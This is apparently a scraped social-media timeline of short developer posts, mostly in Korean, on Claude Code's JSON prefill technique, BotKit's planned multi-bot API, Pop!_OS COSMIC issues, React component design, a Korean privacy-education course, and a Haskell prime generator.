    "input_tokens": 187,
    "output_tokens": 26,
    "cache_creation_input_tokens": 0,
    "cache_read_input_tokens": 0
  }
}

content.text를 보기좋게 정리해서 적으면 다음과 같다.

  "isNewTopic": true,
  "title": "Request Body Formatting"
}

완전한 JSON에서 맨 앞의 {가 빠진 형태다. 알고 보니 이것은 prefill 기법이라 불리는 것으로, 모델이 응답의 앞부분을 이미 출력한 것처럼 설정하여 이어지는 응답을 원하는 형식으로 유도하는 방법이다.

Claude Code는 이 기법을 활용해 모델이 JSON 형식으로 응답하도록 강제하고 있다. 단순히 "JSON으로 응답해줘"라고 요청하는 것보다 훨씬 확실한 방법이다. 모델 입장에서는 이미 {로 시작했으니 자연스럽게 JSON을 완성할 수밖에 없기 때문이다.

Prefill은 JSON 외에도 다양하게 활용할 수 있다. 예를 들어 ```python으로 시작하면 모델이 파이썬 코드 블록을 완성하게 되고, <analysis>로 시작하면 XML 형식의 응답을 유도할 수 있다.

Read more →
4

Big change coming to BotKit: multi-bot support! :botkit: :botkit: :botkit:

Currently, each BotKit instance can only run a single bot. We're redesigning the architecture to let you host multiple bots—both static and dynamically created—on a single instance.

The new API will look like this:

const instance = createInstance({ kv });
const greetBot = instance.createBot("greet", { ... });
const weatherBots = instance.createBot(async (ctx, id) => { ... });

Check out the full design:

https://github.com/fedify-dev/botkit/issues/16

1

지금까지 경험한 Pop!_OS 24.04 (COSMIC DE)의 문제들을 나열해보자면,

이외에도 디테일이 부족함이 느껴졌음. 정식 출시되었으나 여전히 안정화가 필요한 것 같음.

2
1
2

리액트의 dumb component는 이름과달리 약간은 더 똑똑할 필요가 있는데. dumb component는 업데이트를 반드시 부모를 통해서만 해야한다. 이때 fine-grained reactivity로 성능을 높이려면 (딱히 별 하는 일도 없는) wrapper가 필요하다. 그리고 데이터 페칭과 관련될 경우 또 wrapper를 반드시 만들어 줘야한다.

이걸 어떻게 해결할수 있나? dumb component가 Props로 raw value가 아닌 signal을 받게하는 것이다. 아쉽게도 현재 JS에 표준 Signal 인터페이스가 없기에 jotai atom 등을 써야하는데, 그러면 컴포넌트가 프레임워크에 의존하게 되어 덜 dumb해지는 문제가 있다.

2

서버 운영자라면 꼭 들어야할 개인정보보호 교육 안내

해를 넘기기 전에 들어서 수료증 꼭 받아두세요.

(2025년 기준)

  1. 개인정보배움터 (개인정보보호위원회) 가입: https://edu.privacy.go.kr/

  2. "사업자 온라인교육" 클릭

  3. "AI 투명성 확보 및 개인정보보호 가이드" 강의 청취 후 수료증 발급

  4. 서버 이용 가이드 등 별도 문서에 수료증 링크해두기

불특정 다수를 상대로 서비스 하고 계시고, 주 서비스 지역 및 이용자가 한국인 경우 꼭 들어두세요.

2
primes :: (Integral a) => [a]
primes = 2 : ([3, 5 ..] & filter (not . has_divisor))
 where
  has_divisor n =
    any ((0 ==) . (n `mod`) . fst) $ takeWhile ((n >=) . snd) primes_with_square
  primes_with_square :: (Integral a) => [(a, a)]
  primes_with_square = [(p, p * p) | p <- primes]

euler project 문제 풀다가..

1
1